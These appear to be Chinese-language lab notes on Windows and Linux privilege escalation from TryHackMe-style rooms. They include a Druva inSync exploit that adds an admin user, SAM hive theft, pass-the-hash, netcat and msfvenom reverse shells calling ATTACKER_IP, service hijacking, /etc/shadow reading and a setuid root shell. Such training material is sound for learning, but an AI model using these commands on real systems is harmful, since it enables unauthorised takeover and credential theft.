提权-windows-易受攻击的软件

下面的命令将转储它可以在已安装的软件上收集的信息(可能需要大约一分钟才能完成):

wmic product get name,version,vendor
这条命令也不会完全转存好,要查看一下桌面,可能有安装好的易受攻击的软件。对于这些软件可以在下面网站搜搜是否存在已知的可以利用的漏洞。
https://www.exploit-db.com/
https://packetstormsecurity.com/
下图为靶机运行该命令后的效果:

(————————————————————————————-
当遇到要执行的命令在txt文件里时,windows打开powershell输入以下命令执行

  1. 打开 PowerShell 终端(命令行提示符)。
  2. 使用 Get-Content 命令读取包含脚本的文本文件。假设脚本文件名为 “script.txt”,可以运行以下命令:powershellCopy$scriptContent = Get-Content -Path "script.txt" -Raw ``` 这将读取 "script.txt" 文件的内容并将其存储在 `$scriptContent` 变量中。
  3. 然后,使用 Invoke-Expression 命令以普通用户身份执行脚本内容。运行以下命令:powershellCopyInvoke-Expression -Command $scriptContent

————————————————————————————-)

$ErrorActionPreference = "Stop"

$cmd = "net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add"   //这条命令就相当以管理员权限添加一个新的具有管理员权限的用户。

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

然后以管理员身份登录cmd,选择pwnd的账号密码即可

提权-windows-滥用特权

连接上目标主机后,输入下面命令查看所在组拥有的权限。

whoami /priv

SeChangeNotifyPrivilege(绕过遍历检查):启用此特权可以绕过对对象的遍历权限检查。它允许用户或进程在没有遍历权限的情况下访问对象,即使它们没有明确的权限来执行该操作。

SeIncreaseWorkingSetPrivilege(增加进程工作集):禁用此特权将阻止进程增加其工作集的大小。工作集是进程在内存中使用的一部分,它包含当前正在使用的代码和数据。启用此特权允许进程增加其工作集的大小,从而可能提高其性能。

SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,忽略任何DACL。此权限背后的想法是允许某些用户从系统执行备份,而无需完全管理权限。

有了这种能力,攻击者可以使用多种技术轻松提升系统权限。我们将研究的方法包括复制 SAM 和 SYSTEM 注册表配置单元以提取本地管理员的密码哈希值。
这个靶场的目标主机登陆的帐户属于“Backup Operators”组,默认情况下被授予 SeBackup 和 SeRestore 权限。我们需要使用“以管理员身份打开”选项打开命令提示符才能使用这些权限。我们将被要求再次输入密码以获得提升的控制台

下面是使用管理员权限登录的命令行

要备份 SAM 和 SYSTEM 哈希值,我们可以使用以下命令:命令提示符

C:\> reg save hklm\system C:\Users\THMBackup\system.hive

C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive

这将创建几个包含注册表配置单元内容的文件。现在,我们可以使用SMB或任何其他可用方法将这些文件复制到kali。输入下面的命令设置共享文件夹。
user@attackerpc$ mkdir share
user@attackerpc$ python3 (py文件的地址)smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

/opt/impacket/examples/smbserver.py 这是py脚本,用来让目标主机访问kali共享文件夹的,可以在tryhackme的attackbox找到,可以通过attackbox开python传脚本到kali,然后再在kali使用。

C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\ 在目标主机复制文件到kali
C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

通过下面的命令去得检索用户的哈希值

python3 secretsdump.py的地址 -sam sam.hive -system system.hive LOCAL
可以找到administrator密码的哈希值

于是可以使用管理员的哈希来执行哈希传递攻击并获得具有系统权限的目标计算机的访问权限:
python3 /root/Desktop/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 Administrator@10.10.76.255

运行命令后成功提权了

提权-windows

如同linux经常通过ssh远程,windows则喜欢rdp

在kali中,使用xfreerdp命令来远程连接桌面

xfreerdp /v:<远程计算机的 IP 地址或主机名> /u:<用户名> /p:<密码>

如:xfreerdp /v:10.10.111.230 /u:root /p:root

在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,该服务允许通过网络将单个操作系统映像部署到多台主机。此类安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户来执行初始设置,该设置最终可能存储在计算机中的以下位置:

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

作为这些文件的一部分,您可能会遇到凭据:

<Credentials>
    <Username>Administrator</Username>
    <Domain>thm.local</Domain>
    <Password>MyPassword123</Password>
</Credentials>

每当用户使用 Powershell 运行命令时,它都会存储到一个文件中,该文件会保留过去的命令。这对于快速重复之前使用过的命令很有用。如果用户运行的命令直接包含密码作为 Powershell 命令行的一部分,则稍后可以通过在提示符下使用以下命令来检索密码cmd.exe

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
下图为历史命令,可以看到新建了一个用户。该命令只能在cmd运行

Windows 允许我们使用其他用户的凭据。此功能还提供了将这些凭据保存在系统上的选项。下面的命令将列出保存的凭据:

cmdkey /list

虽然看不到实际的密码,但如果发现任何值得尝试的凭据,则可以将它们与命令 runas 和 /savecred 选项一起使用,如下所示。

runas /savecred /user:admin cmd.exe  需要知道admin的密码

下图是使用cmdkey /list 查到的账号进行测试,因为windows记录了它的凭证所以runas和/savecred 命令能直接登录它的shell。

Internet 信息服务 (IIS) 是 Windows 安装上的默认 Web 服务器。IIS 上网站的配置存储在名为 的文件中,web.config并且可以存储数据库的密码或配置的身份验证机制。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

这是在文件上查找数据库连接字符串的快速方法:


type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
下图是找到数据库:

在windows中读取文本文件的命令是 type

PuTTY 是Windows 系统上常见的SSH客户端。用户不必每次都指定连接参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供以后使用。虽然 PuTTY 不允许用户存储其 SSH 密码,但它将存储包含明文身份验证凭据的代理配置。

要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

注意: Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是我们要检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见。

正如 putty 存储凭据一样,任何存储密码的软件,包括浏览器、电子邮件客户端、FTP客户端、SSH 客户端、VNC 软件等,都将有方法恢复用户保存的任何密码。

计划任务

查看目标系统上的计划任务,您可能会看到计划任务丢失了其二进制文件或正在使用您可以修改的二进制文件。

可以使用不带任何选项的命令从命令行列出计划任务 schtasks 。要检索有关任何服务的详细信息,您可以使用如下命令:
schtasks /query /tn vulntask /fo list /v

如果我们当前的用户可以修改或覆盖“要运行的任务”可执行文件,我们就可以控制 taskusr1 用户执行的内容,从而实现简单的权限提升。要检查可执行文件的文件权限,我们使用icacls
icacls c:\tasks\schtask.bat

从结果中可以看出,BUILTIN\Users组对任务的二进制文件具有完全访问权限 (F)。这意味着我们可以修改 .bat 文件并插入我们喜欢的任何有效负载。当受控机安装nc,就可以反弹shell到攻击机那

echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

等计划任务启动时能监听到,或者手动运行schtasks /run /tn vulntask

Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,可以将它们配置为从任何用户帐户(甚至是非特权帐户)以更高的权限运行。这可能会让我们生成一个以管理员权限运行的恶意 MSI 文件。

注意: AlwaysInstallElevated 方法在此房间的计算机上不起作用,它仅供参考。

此方法需要设置两个注册表值。您可以使用以下命令从命令行查询这些内容。命令提示符:在目标主机设置两个注册表

C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

为了能够利用此漏洞,两者都应该设置。否则,利用将是不可能的。如果设置了这些,您可以使用 生成恶意 .msi 文件 msfvenom,如下所示:在kali生成恶意msi

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_10.10.111.230 LPORT=LOCAL_PORT -f msi -o malicious.msi

由于这是一个反向 shell,您还应该运行相应配置的 Metasploit 处理程序模块。传输创建的文件后,您可以使用以下命令运行安装程序并接收反向 shell:命令提示符:把kali生成的msi文件传输到目标主机,然后运行下面的命令

C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Windows 服务由服务控制管理器(SCM)管理。SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态并通常提供配置服务的方法的进程。
想要了解某一个服务的结构,可以使用命令:
sc qc apphostsvc 来查看


(1)服务可执行文件的不安全权限

如果与服务关联的可执行文件的权限较弱,允许攻击者修改或替换它,则攻击者可以轻松获得该服务帐户的权限。

为了了解其工作原理,让我们看一下 Splinterware System Scheduler 上发现的漏洞。首先,我们将使用以下命令查询服务配置sc

sc qc WindowsScheduler

可以看到,易受攻击的软件安装的服务以 svcuser1 身份运行,并且与该服务关联的可执行文件位于C:\Progra~2\System~1\WService.exe. 然后我们继续检查可执行文件的权限

icacls C:\PROGRA~2\SYSTEM~1\WService.exe

观察有没有能利用的信息。注意到,本靶机的Everyone 组对服务的可执行文件具有修改权限 (M)。这意味着我们可以payload覆盖它,并且该服务将使用配置的用户帐户的权限执行它,如果这个配置用户的账户时administrator,我们就相当于提权了。

使用 msfvenom 生成一个 exe-service 负载并通过 python Web 服务器提供它:

在kali中输入下面命令生成windows用的shell,以及用python生成一个服务供受害主机下载shell文件。

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

python3 -m http.server 注意观察使用的协议以及端口号
在受害主机输入 powershell 打开powershell,需要在这个环境才能使用wget命令
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe
下图为受害主机已经下载好了kali生成的shell文件

接下来就是要将这个文件替换某个高权限账户所拥有的服务

C:\> cd C:\PROGRA~2\SYSTEM~1\

C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp 重命名原本的服务文件

C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe 把shell文件传输到当前目录下,并改名和原本的服务一样,迷惑审查人员

C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F 该命令是用于在Windows系统中设置文件权限的命令。具体来说,它将文件”WService.exe”的访问权限授予了”Everyone”组中的用户,并给予他们完全控制权限(Full Control)。通过执行此命令,任何属于”Everyone”组的用户都将能够完全访问和控制该文件。

随后这个计划任务的服务就被植入了shell文件,当它启动时,就可以监听发到了。在kali起一个nc的监听,然后等待服务重启或者手动重启服务,就能反弹shell,如下图:

C:\> sc stop windowsscheduler //sc用来管理控制windows服务

C:\> sc start windowsscheduler

(2)未加引号的服务路径

当我们无法像以前一样直接写入服务可执行文件时,仍然有机会通过使用相当模糊的功能来强制服务运行任意可执行文件。

使用 Windows 服务时,当服务配置为指向“未加引号”的可执行文件时,会出现非常特殊的行为。不加引号是指未正确引用关联可执行文件的路径以解决命令中的空格问题。也就是使用类似 sc qc “vncserver” 的命令查看某个服务时,一般正确的情况下关联路径会有双引号,告诉scm正确的路径名以及参数。如果某个服务的关联路径没有双引号,并且路径上存在空格的时候,可能会造成scm不能快速识别要执行的程序,因为scm会根据空格一层层查找可能存在的文件并且关联它。
因此可以利用没有引号的服务,让scm误使用恶意程序,并且是以这个服务的所属账号的权限运行,如果该账户时administrator,那么就可以提权。
下面是查看某文件夹acl

这是一个关于”c:\MyPrograms”目录的ACL(访问控制列表)的信息。ACL定义了对目录的访问权限和权限设置。解释每个条目的含义:
“NT AUTHORITY\SYSTEM”:为”NT AUTHORITY\SYSTEM”用户或组授予了完全控制权限((F))。这是Windows系统的内置账户,具有最高权限。
“BUILTIN\Administrators”:为”BUILTIN\Administrators”组授予了完全控制权限((F))。这是本地计算机上的内置管理员组。
“BUILTIN\Users”:为”BUILTIN\Users”组授予了读取和执行权限((RX))。这是本地计算机上的内置用户组。
“BUILTIN\Users”:为”BUILTIN\Users”组授予了目录的添加数据权限((AD))和写入数据权限((WD))。这意味着”BUILTIN\Users”组可以在目录中创建和修改文件。
“CREATOR OWNER”:为目录的创建者(即文件所有者)授予了完全控制权限((F))以及对目录的继承访问权限((IO)

继续练习,依然通过msfvenom来生成恶意文件,然后通过python的http服务下载到目标主机上。下图为sc命令查看某个服务,发现路径有空格但是没有使用引号,说明可以在空格处劫持这条服务,只需要让scm认为这条服务的关联可执行文件是Disk.exe就可以了

下面通过命令,移动生成的shell可执行文件到可以被劫持的目录下,并且修改名称为Disk.exe:
move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe

然后给予完全控制权限:
icacls C:\MyPrograms\Disk.exe /grant Everyone:F

通过下面命令重启服务就能触发反弹shell的exe文件了:
C:\> sc stop “disk sorter enterprise”
C:\> sc start “disk sorter enterprise”

按理说到这步就可以反弹shell了。如果遇到拦截,我也不知道咋办。

(3)不安全的服务权限

如果服务的可执行DACL配置良好,并且正确引用了服务的二进制路径,那么您仍然有机会利用该服务。如果服务 DACL(不是服务的可执行 DACL)允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向所需的任何可执行文件并使用您喜欢的任何帐户运行它,包括 SYSTEM 本身。

要从命令行检查服务DACL ,您可以使用Sysinternals 套件中的Accesschk 

在安装有Accesschk的路径下,运行accesschk64.exe -qlc thmservice

BUILTIN\\Users组具有 SERVICE_ALL_ACCESS 权限,这意味着任何用户都可以重新配置服务
生成shell文件,传输到目标主机,输入下面命令赋予权限:
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

要更改服务关联的可执行文件和帐户,我们可以使用以下命令(使用 sc.exe 时请注意等号后面的空格):命令提示符

sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

然后重启服务触发shell

C:\> sc stop THMService

C:\> sc start THMService

提权-linux练习

前置条件:只讨论怎么从普通权限提升到root权限,即已经获得一个shell,也就是普通用户的权限,可能是通过ssh,或者是通过shell。

在连接上SSH后,可以通过 cat /proc/version 来查看有关内核版本的信息以及其他数据,例如是否安装了编译器(例如 GCC)。如上图,可见gcc版本为4.8.5,可知后期可以利用gcc来对c文件进行编译提权,比如写入suid或guid。

可以通过其他命令来查看其他操作,比如history尝试看看有没有暴露账户、口令等。

以下命令和目的:

1、uname -a :打印系统信息,特别是内核信息,可以判断是否有提权漏洞。

2、hostname:查看主机名,可能能判断出主机用途。

3、ps:查看正在运行的进程
ps -A:所有正在运行的进程
ps axjf:查看进程树

4、env:显示环境变量,可能发现类似python的环境,这样有利于判断是否能通过脚本来便利测试,如通过python稳定shell等。

5、sudo -l:查看允许用户以root权限运行的命令(参考之前文章)

6、netstat:查看服务以及端口:
netstat -a:显示所有监听端口和已经建立的连接
netstat -at 或 -au :分别列出TCP、UDP协议
netstat -l:列出处于“监听”模式的端口
netstat -ano:显示所有socket、不解析名称、显示定时器

开始:
ssh连接后继续输入命令查看能利用的信息:
find / -type f -perm -04000 -ls 2>/dev/null 查看设置了suid、sgid的文件。发现base64可以利用,应该到GTFOBins ( https://gtfobins.github.io )这个网站中去找base64相关能够利用的条件以及代码。

上图是可以利用的base64的相关二进制代码。注意到有文件读取的功能,利用这段代码去尝试读取敏感文件。

LFILE=file_to_read
base64 "$LFILE" | base64 --decode


要利用上述条件,需要定位文件的位置,通过find语句去查找flag存在的地址:
find -name flag*.txt ,从下图可以看出没找到,那么手动去搜一搜可能存在的目录。

如下图,返回home目录发现俩路径都进不出去

LFILE=/etc/shadow
base64 "$LFILE" | base64 --decode
输入上面两条命令读取missy的口令,用复制它的hash(第一个冒号前)并用John The Ripper工具破解
输入:sudo john --wordlist=rockyou.txt的地址 要破解的txt
进行破解(工具在攻击机上)如下图:密码为Password1

在目标主机使用missy登录,su missy即可

用同样的方法尝试爆破root的口令失败了。那么应该用另外的方式进行破解,试试各种提权向量吧

通过missy账号的sudo -l ,看出missy可以不需要密码以root身份使用find命令,在网站中找到利用的命令,输入即可提权

sudo find . -exec /bin/sh \; -quit

提权 nfs

使用 showmount 命令可以列出 NFS 服务器上当前共享的文件系统以及相关信息,如挂载点和客户端访问权限。这对于了解 NFS 服务器的配置和状态非常有用

showmount -e 目标ip

可以看到目标有3个可安装共享

在本机新建一个目录用来接收数据:

然后通过命令将目标文件挂载到使用的攻击机上。本次实验时看到目标主机的 /tmp是共享目录,因此可以尝试将它挂载到我们的机器上。:
mount -o rw 目标主机ip:/目标的共享目录 /tmp/testnfs

此时可以访问目标主机的文件共享目录

接下来在攻击机的目录下 使用 nano 写命令来获取shell:

main ()
{
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}

然后编译这个文件,并且给予这个文件权限:

gcc xxx.c -o xxx -w
chmod +s xxx

通过./test 来运行代码getshell